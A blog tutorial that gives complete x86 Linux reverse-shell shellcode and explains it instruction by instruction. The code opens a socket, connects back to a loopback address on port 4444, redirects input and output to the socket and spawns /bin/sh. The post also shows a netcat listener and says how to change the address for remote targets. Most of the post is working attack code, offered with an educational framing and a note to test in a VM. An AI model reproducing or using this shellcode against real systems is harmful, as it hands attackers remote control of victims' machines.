Linux Reverse Shell in x86 Assembly

Introduction: Why Build a Reverse Shell in Assembly?

Ever wondered how low-level code can create a powerful remote shell? In this post, we’ll dive into crafting a Linux reverse shell using x86 assembly. This shellcode connects back to an attacker’s system, spawns a shell, and redirects input/output over the network—all in a compact, efficient package. I’ll break down each instruction in my own words, keeping things clear and approachable while staying true to the gritty details. Let’s get started!

Before You Begin

This post assumes you’re familiar with x86 assembly basics. If terms like EAX, syscalls, or little-endian sound foreign, consider brushing up on assembly fundamentals first. The shellcode we’ll analyze comes from this GitHub repository by @cocomelonc, inspired by MD MZ 2nd Edition. I’ll explain it step-by-step, reflecting how I understand it.

What Is a Reverse Shell, and What Do We Need?

A reverse shell is a program that connects from a target machine back to an attacker’s system, spawning a shell (like /bin/sh) that the attacker can control remotely. Here’s what we need to make it happen:

  1. Socket: A TCP socket for network communication, created using the socket() system call.
  2. Connection: Connect the socket to the attacker’s IP and port using the connect() system call.
  3. I/O Redirection: Redirect stdin, stdout, and stderr to the socket using dup2() so the attacker can send commands and see output.
  4. Shell Execution: Spawn a shell with execve() to give the attacker a command-line interface.

The Shellcode: Complete Code with Comments

Below is the full assembly code for the reverse shell, with added comments for clarity. We’ll break it down section by section afterward.

section .text
global _start

_start:
    ; Create socket: socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    push 0x66          ; sys_socketcall (102)
    pop eax            ; EAX = 102 (syscall number)
    push 0x1           ; sys_socket (1)
    pop ebx            ; EBX = 1 (socket function)
    xor edx, edx       ; EDX = 0 (clear for protocol)
    push edx           ; protocol = 0 (IPPROTO_IP)
    push ebx           ; type = 1 (SOCK_STREAM)
    push 0x2           ; domain = 2 (AF_INET)
    mov ecx, esp       ; ECX = pointer to args
    int 0x80           ; Execute syscall: create socket
    xchg edx, eax      ; Save socket file descriptor (sockfd) in EDX

    ; Connect: connect(sockfd, sockaddr, addrlen)
    mov al, 0x66       ; sys_socketcall (102)
    push 0x0101017f    ; sin_addr = 127.1.1.1 (loopback, network byte order)
    push word 0x5c11   ; sin_port = 4444 (network byte order)
    inc ebx            ; EBX = 2 (AF_INET)
    push word bx       ; sin_family = AF_INET (2)
    mov ecx, esp       ; ECX = pointer to sockaddr struct
    push 0x10          ; addrlen = 16
    push ecx           ; sockaddr struct pointer
    push edx           ; sockfd
    mov ecx, esp       ; ECX = pointer to args
    inc ebx            ; EBX = 3 (sys_connect)
    int 0x80           ; Execute syscall: connect

    ; Redirect stdin, stdout, stderr to socket using dup2
    push 0x2           ; Counter = 2 (start with stderr)
    pop ecx            ; ECX = 2
    xchg ebx, edx      ; EBX = sockfd (for dup2)

dup:
    mov al, 0x3f       ; sys_dup2 (63)
    int 0x80           ; Execute syscall: dup2(sockfd, ECX)
    dec ecx            ; Decrease counter (2 -> 1 -> 0)
    jns dup            ; Loop until ECX = -1

    ; Spawn /bin/sh: execve("/bin/sh", NULL, NULL)
    mov al, 0x0b       ; sys_execve (11)
    inc ecx            ; ECX = 0 (argv = NULL)
    mov edx, ecx       ; EDX = 0 (envp = NULL)
    push edx           ; Push NULL terminator
    push 0x68732f2f    ; "//sh" (reverse order)
    push 0x6e69622f    ; "/bin" (reverse order)
    mov ebx, esp       ; EBX = pointer to "/bin/sh"
    int 0x80           ; Execute syscall: spawn shell

The Shellcode Breakdown

1. Creating the Socket
section .text
  global _start   ; must be declared for linker

_start:           ; linker entry point

  ; create socket
  ; int socketcall(int call, unsigned long *args);
  push 0x66        ; sys_socketcall (102 in decimal)
  pop  eax         ; zero out eax
  push 0x1         ; sys_socket (0x1)
  pop  ebx         ; zero out ebx
  xor  edx, edx    ; zero out edx
Why push + pop Instead of mov?
  • Optimization: push/pop (1 byte each) are smaller than mov eax, 0x66 (5 bytes).
  • Smaller shellcode → More stealthy.
Why EAX = 102?
  • In Linux x86, sys_socketcall (the master socket function) has ID 102.
Why EBX = 1?
  • EBX defines the sub-function for socketcall:
    • 1 = SYS_SOCKET (create a socket).
Why Zero EDX?
  • xor edx, edx clears EDX (sets to 0).
  • Needed for protocol = IPPROTO_IP (0) later.
2. Setting Up Socket Arguments

  ; int socket(int domain, int type, int protocol);
  push edx         ; protocol = IPPROTO_IP (0x0)
  push ebx         ; socket_type = SOCK_STREAM (0x1)
  push 0x2         ; socket_family = AF_INET (0x2)
  mov  ecx, esp    ; move stack pointer to ecx
  int  0x80        ; syscall (exec sys_socket)
  xchg edx, eax    ; save result (sockfd) for later usage
Breaking Down the Stack Setup

We push three arguments for socket():

  1. protocol = 0 (IPPROTO_IP → default).
  2. type = 1 (SOCK_STREAM → TCP).
  3. domain = 2 (AF_INET → IPv4).
  • mov ecx, esp → ECX points to these args.
  • int 0x80 → Executes socket(), returns sockfd in EAX.
  • xchg edx, eax → Saves sockfd in EDX for later.
3. Connecting to the Attacker

mov al, 0x66 ; socketcall 102
push 0x0101017f ; sin_addr = 127.1.1.1 (loopback)
push word 0x5c11 ; sin_port = 4444 (0x5c11 in hex)
inc ebx ; ebx = 0x02 (AF_INET)
push word bx ; sin_family = AF_INET
mov ecx, esp ; move stack pointer to sockaddr struct
Building the sockaddr Struct
  • IP: 127.1.1.1 (0x0101017f in network byte order).
  • Port: 4444 (0x5c11).
  • Family: AF_INET (0x02).
  push 0x10        ; addrlen = 16 (size of sockaddr_in)
  push ecx         ; pointer to sockaddr struct
  push edx         ; sockfd
  mov  ecx, esp    ; move stack pointer to ecx
  inc  ebx         ; sys_connect (0x3)
  int  0x80        ; syscall (exec sys_connect)
What’s Happening?
  1. push 0x10 → addrlen = 16 (size of sockaddr_in).
  2. push ecx → Pointer to sockaddr struct.
  3. push edx → sockfd.
  4. int 0x80 → Executes connect(), linking to attacker.
4. Redirecting I/O with dup2

  push 0x2         ; Start with stderr (2)
  pop  ecx         ; ECX = loop counter
  xchg ebx, edx    ; EBX = sockfd

dup:
  mov  al, 0x3f    ; sys_dup2 (63)
  int  0x80        ; Execute dup2(sockfd, ECX)
  dec  ecx         ; Decrement counter (2 → 1 → 0 → -1)
  jns  dup         ; Loop until negative (SF flag set)
Why Loop from 2 to 0?
  • Redirects:
    • dup2(sockfd, 2) → stderr → socket.
    • dup2(sockfd, 1) → stdout → socket.
    • dup2(sockfd, 0) → stdin → socket.
  • jns → Keeps looping while ECX is not negative.
5. Spawning /bin/sh with execve

  mov  al, 0x0b    ; sys_execve (11)
  inc  ecx         ; argv = NULL
  mov  edx, ecx    ; envp = NULL
  push edx         ; NULL terminator
  push 0x68732f2f  ; "hs//" (little-endian "//sh")
  push 0x6e69622f  ; "nib/" (little-endian "/bin")
  mov  ebx, esp    ; EBX points to "/bin//sh"
  int  0x80        ; Execute execve()
Breaking Down execve
  • /bin//sh is pushed in reverse (little-endian).
  • argv & envp are NULL (no arguments/environment).
  • int 0x80 → Spawns a shell, handing control to the attacker.
Optimization Techniques Used
  • Push/Pop: Smaller than mov (e.g., push 0x66; pop eax vs. mov eax, 0x66).
  • XOR for Zeroing: xor edx, edx is 2 bytes and fast.
  • AL vs. EAX: Using AL for syscall numbers saves bytes.
  • Inc/Dec: inc ebx is shorter than mov ebx, 3.
  • Little-Endian Strings: Pushing /bin/sh in reverse leverages x86’s byte order.
Tips for Testing
  • Use a Local Listener: Set up nc -lvp 4444 on 127.1.1.1 to catch the connection.
  • Modify IP/Port: Change 0x0101017f and 0x5c11 for remote targets (ensure network byte order).
  • Debug with GDB: Step through the code to verify each syscall.
  • Safety Note: Test in a controlled environment (e.g., a VM) to avoid unintended consequences.
Conclusion: Why This Matters

This reverse shell demonstrates the power of assembly for crafting compact, efficient exploits. By understanding each instruction, you gain insight into system calls, network programming, and low-level optimization. Whether you’re a security researcher or a curious coder, this shellcode is a fascinating blend of art and science. Try tweaking it—change the port, add error handling, or explore 64-bit versions. What’s next on your assembly journey?

Happy hacking (ethically, of course)!

Leave a Comment